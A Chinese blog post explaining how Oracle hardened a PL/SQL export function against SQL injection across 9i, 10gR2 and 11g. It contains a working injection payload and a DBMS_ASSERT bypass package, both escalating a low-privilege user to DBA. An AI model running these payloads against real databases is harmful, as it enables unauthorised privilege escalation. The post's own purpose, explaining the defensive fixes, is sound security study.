解密:Oracle怎么防SQL注入

幸运草 2020年3月31日21:23:48安全防范评论阅读模式

昨天我们说了怎么绕过waf进行sql注入,今天我们继续这个话题,说说Oracle数据库本身在防sql注入方面做了哪些工作。

Oracle从8i开始PL/SQL中涌现出了大量SQL注入漏洞,直至11.2版本才基本扫清了PL/SQL自身存在的SQL注入漏洞。但时至今日依然存在一些跨语言边界的注入漏洞和二阶SQL注入漏洞。在Oracle和SQL注入漏洞的战斗史中关键的两步分别在10gr2和11gr1达成。

DBMS_EXPORT_EXTENSION包从Oracle 8开始到10g r2 一直存在漏洞。研究不同版本的DBMS_EXPORT_EXTENSION包可以从中学习到Oracle在不降低用户体验和代码效率的前提下保证SQL包或函数安全的方法和理念。

DBMS_EXPORT_EXTENSION

今天的主角是SYS下的系统包DBMS_EXPORT_EXTENSION。我们将通过其中存在漏洞的函数GET_DOMAIN_INDEX_METADATA,来观察oracle对SQL注入的修改方法。在8到11的版本中有两次比较关键的点一次是发生在oracle 10gr2 一次是发生在11gr1。首先我们来看9i中的GET_DOMAIN_INDEX_METADATA的核心代码。

IF GMFLAGS = -1 THEN

STMTSTRING :=

'DECLARE ' ||

'oindexinfo ODCIIndexInfo := ODCIIndexInfo('||

'''' || INDEX_SCHEMA || ''',''' ||

INDEX_NAME || ''',' ||

'ODCIColInfoList(), NULL, 0, 0); ' ||

'BEGIN ' ||

':p1 := "' || TYPE_SCHEMA || '"."' ||

TYPE_NAME

||'".ODCIIndexGetMetadata(oindexinfo,:p2,:p3); ' ||

'END;';

DBMS_SQL.PARSE( CRS, STMTSTRING, DBMS_SYS_SQL.V7 );

DBMS_SQL.BIND_VARIABLE( CRS, ':p1', STMTSTRING, 32002 );

DBMS_SQL.BIND_VARIABLE( CRS, ':p2', VERSION, 20 );

DBMS_SQL.BIND_VARIABLE( CRS, ':p3', NEWBLOCK );

DUMMY := DBMS_SQL.EXECUTE( CRS );

DBMS_SQL.VARIABLE_VALUE( CRS, ':p1', STMTSTRING );

DBMS_SQL.VARIABLE_VALUE( CRS, ':p3', NEWBLOCK );

ELSE

……

Else中的逻辑和上面类似,只是存在使用函数的区别和注入无关,所以这里直接忽略这部分。后面的DBMS_SQL.PARSE函数会对STMTSTRING 进行SQL解析。如果到这一步无法发现STMTSTRING中存在的注入语句,则可能导致含有注入内容的SQL语句被执行。观察上述代码存在两点问题:

1. 参数INDEX_SCHEMA、INDEX_NAME、TYPE_SCHEMA、TYPE_NAME均存在可注入点,缺乏有效的防护

2. 在最后的出口处缺乏对DBMS_SQL.PARSE的参数STMTSTRING进行权限检查。

观察INDEX_SCHEMA、INDEX_NAME、TYPE_SCHEMA、TYPE_NAME的位置可以发现TYPE_NAME是一个最佳注入点。如果把TYPE_NAME写成'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMAAUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE''''GRANT DBA TOSCOTT'''';END;'';END;--', 的样式则会使begin end 中语句变为

'BEGIN '

':p1 :=‘SYS’. 'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMAAUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE''''GRANT DBA TOSCOTT'''';END;'';END;--  通过—去除掉原来后面的'".ODCIIndexGetMetadata(oindexinfo,:p2,:p3);

'END;'; 整个函数执行的已经不再是原本的意图,而变成了GRANT DBA TO SCOTT。使得SCOTT这种低权限用户直接把自己提权到DBA权限。完成入侵

第一次安全加固

Oracle 第一次大规模的安全加固发生在10gr2。在安全方面最大的改进是引入了DBMS_ASSERT包,DBMS_ASSERT包对已知的漏洞进行修复,这个包会验证用户的输入。在10Gr2的时候GET_DOMAIN_INDEX_METADATA的核心代码被加固成:

STMTSTRING :=

'DECLARE' ||

'oindexinfoODCIIndexInfo := ODCIIndexInfo(' ||

''''||SYS.DBMS_ASSERT.SCHEMA_NAME(INDEX_SCHEMA)||''','''||

SYS.DBMS_ASSERT.SIMPLE_SQL_NAME(INDEX_NAME)||''',' ||

'ODCIColInfoList(),NULL, 0, 0); ' ||

'BEGIN' ||

':p1 := "' ||SYS.DBMS_ASSERT.SCHEMA_NAME(TYPE_SCHEMA) || '"."' ||

SYS.DBMS_ASSERT.SIMPLE_SQL_NAME(TYPE_NAME)

||'".ODCIIndexGetMetadata(oindexinfo,:p2,:p3); ' ||

'END;';

DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);

DBMS_SQL.BIND_VARIABLE(CRS,':p1',STMTSTRING,32002);

DBMS_SQL.BIND_VARIABLE(CRS,':p2',VERSION,20);

DBMS_SQL.BIND_VARIABLE(CRS,':p3',NEWBLOCK);

DUMMY := DBMS_SQL.EXECUTE(CRS);

DBMS_SQL.VARIABLE_VALUE(CRS, ':p1',STMTSTRING);

DBMS_SQL.VARIABLE_VALUE(CRS, ':p3',NEWBLOCK);

ELSE

……..

可以看出对4个关键参数都进行了一定程度的参数防守。分别采用了SYS.DBMS_ASSERT.SCHEMA_NAME 和SYS.DBMS_ASSERT.SIMPLE_SQL_NAME,进行参数过滤。

SIMPLE_SQL_NAME 要求用户输入的参数本身是一个有效的SQL名字。简单说就是在其中只能包含成对的“”#和$这个三种特殊字符,其他特殊字符一旦出现责备判定为有问题的字符串,跳出停止整个函数。

核心代码:BEGIN

IF(NAME_NO_SPACES(RTRIM(LTRIM(STR, WHITE_SPACE_CHARS),

WHITE_SPACE_CHARS))) THEN

RETURN STR;

SCHEMA_NAME的要求则更为严格,要求输入的字符串必须是数据库中已存在的对象名字。如果ALL_USERS表中查不到,则认为该输入存在问题,会异常退出。

核心代码:BEGIN

SELECT COUNT(*) INTOUSER_COUNT FROM ALL_USERS WHERE USERNAME = STR;

IF USER_COUNT <> 1THEN

RAISEINVALID_SCHEMA_NAME;

10Gr2采用了对输入字符串过滤的方式,但其中还是存在可以绕过的办法。SCHEMA_NAME采用的是查表的办法,没法进行伪造。但SIMPLE_SQL_NAME 只是对字符串中是否存在某些特殊符号进行检查,无法对输入的参数进行更准确的识别。那么就可以采取把漏洞包一层的方式来躲避检查

例如可以先构造存储过程:

CREATE ORREPLACE PACKAGE MYNAMDAAPACK AUTHID CURRENT_USER IS

FUNCTION ODCIIndexGetMetadata(oindexinfoSYS.odciindexinfo,

P3         VARCHAR2,

p4         VARCHAR2,

env        SYS.odcienv) RETURN NUMBER;

END;

/

CREATE ORREPLACE PACKAGE BODY MYNAMDAAPACK IS

FUNCTIONODCIIndexGetMetadata(oindexinfo SYS.odciindexinfo, P3 VARCHAR2, p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER IS

pragmaautonomous_transaction;

BEGIN

EXECUTEIMMEDIATE 'Grant DBA to scott'; COMMIT; RETURN 1;

END;

END;

先把把注入语句存入低权限账号创建的存储过程中。再调用GET_DOMAIN_INDEX_METADATA。

DECLAREINDEX_NAME VARCHAR2(200); INDEX_SCHEMA VARCHAR2(200); TYPE_NAME VARCHAR2(200);TYPE_SCHEMA VARCHAR2(200); VERSION VARCHAR2(200); NEWBLOCK PLS_INTEGER; GMFLAGSNUMBER; v_Return VARCHAR2(200);

BEGIN

INDEX_NAME :='A1'; INDEX_SCHEMA := 'scott'; TYPE_NAME := 'MYNAMDAAPACK'; TYPE_SCHEMA :='scott'; VERSION := '9.2.0.1.0'; GMFLAGS := 1; v_Return :=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME => TYPE_NAME,TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK => NEWBLOCK,GMFLAGS => GMFLAGS);

END;

给TYPE_NAME的参数是'MYNAMDAAPACK','MYNAMDAAPACK'可以通过SYS.DBMS_ASSERT.SIMPLE_SQL_NAME的参数检查。进而绕过防守再一次SQL注入成功。第一次安全加固虽然取得了一定的成绩,但在检查参数的手法上还需要进一步强化。同时这次没有对SQL解析部分的函数做合理的安全加固,给SQL注入语句能顺利执行带来可能。

第二次安全加固

很快Oracle总结问题再次进行了安全加固。主要体现在三个方面(和这个函数相关):

1在DBMS_I_INDEX_UTL包中加入检查是否存在的函数.

2.并强化了DBMS_ASSERT对输入参数的参数检查能力

3.在执行SQL解析的语句处,添加了用户权限的二次判断,从根本上禁止了低权限用户的提权行为。

这次加固后,GET_DOMAIN_INDEX_METADATA的核心代码被加固成:

RETVAL :=SYS.DBMS_I_INDEX_UTL.VERIFY_OWNER(INDEX_SCHEMA);

RETVAL :=SYS.DBMS_I_INDEX_UTL.VERIFY_INDEX(INDEX_NAME, INDEX_SCHEMA);

IF GMFLAGS = -1 THEN

IDX_VERSION := 1;

STMTSTRING :=

'DECLARE ' ||

'oindexinfo sys.ODCIIndexInfo :=sys.ODCIIndexInfo(' ||

SYS.DBMS_ASSERT.ENQUOTE_LITERAL(INDEX_SCHEMA)|| ', ' ||

SYS.DBMS_ASSERT.ENQUOTE_LITERAL(INDEX_NAME) || ', ' ||

'sys.ODCIColInfoList(), NULL, 0, 0, 0, 0); ' ||

'BEGIN ' ||

'SYS.DBMS_ODCI.GetMetadata(oindexinfo,:p1,:p2,:p3,:p4);' ||

'END;'

DBMS_SYS_SQL.PARSE_AS_USER(CRS, STMTSTRING,DBMS_SYS_SQL.V7);

DBMS_SQL.BIND_VARIABLE(CRS,':p1',VERSION,20);

DBMS_SQL.BIND_VARIABLE(CRS,':p2',IDX_VERSION);

DBMS_SQL.BIND_VARIABLE(CRS,':p3',STMTSTRING,32002);

DBMS_SQL.BIND_VARIABLE(CRS,':p4',NEWBLOCK);

DUMMY := DBMS_SQL.EXECUTE(CRS);

DBMS_SQL.VARIABLE_VALUE(CRS,':p3',STMTSTRING);

DBMS_SQL.VARIABLE_VALUE(CRS,':p4',NEWBLOCK);

ELSE

…….

首先虽然参数表中还存在TYPE_SCHEMA、TYPE_NAME两个参数,但实际上已经在代码中删除了这两个参数,那么剩下的注入点只有INDEX_SCHEMA 和INDEX_NAME。在整个函数开始的第一步就通过SYS.DBMS_I_INDEX_UTL.VERIFY_OWNER和SYS.DBMS_I_INDEX_UTL.VERIFY_INDEX对输入的参数进行查表检查是否真实存在。

分别使用:

SELECT USR.USER#INTO OWNID

FROM SYS.USER$ USR

WHERE USR.NAME = OWNER_NAME;

SELECT OBJ.OBJ#INTO IDXID

FROM SYS.OBJ$ OBJ, SYS.USER$ USR

WHERE OBJ.TYPE# = 1

AND  OBJ.NAME = INDEX_NAME

AND  OBJ.OWNER# = USR.USER#

AND  USR.NAME = IDX_OWNER_NAME;

对INDEX_SCHEMA 和INDEX_NAME两个参数进行存在性检验。一旦发现不存在则返回错误号20001终止整个过程。

DBMS_ASSERT换成ENQUOTE_LITERAL函数对输入参数进行验证性检验。ENQUOTE_LITERAL函数不同于以前的SIMPLE_SQL_NAME和SCHEMA_NAME 采用了新的策略。ENQUOTE_LITERAL会把输入的参数直接用双引号或单引号括起来,然后对其中的单引号是否有落单的进行检查。一旦发现有落单的单引号则认为存在注入危险,会抛出06502错误。

最后也是最关键的11G开始使用DBMS_SYS_SQL.PARSE_AS_USER,不再使用相对不安全的DBMS_SQL.PARSE。DBMS_SYS_SQL.PARSE_AS_USER调用的是:

ICD_PARSE( C, STATEMENT, LANGUAGE_FLAG MODPARSE_AS_USER_FLAG + PARSE_AS_USER_FLAG, USERID );最后一个参数USERID是判断当前用户的权限是否能解析语句,而并非是运行时权限来判断是否能解析语句。从用户权限的角度对执行语句进行确切的权限判断。

本文来源于:解密:Oracle怎么防SQL注入-变化吧
特别声明:以上文章内容仅代表作者本人观点,不代表变化吧观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。

  • 赞助本站
  • 微信扫一扫
  • weinxin
  • 加入Q群
  • QQ扫一扫
  • weinxin
幸运草

发表评论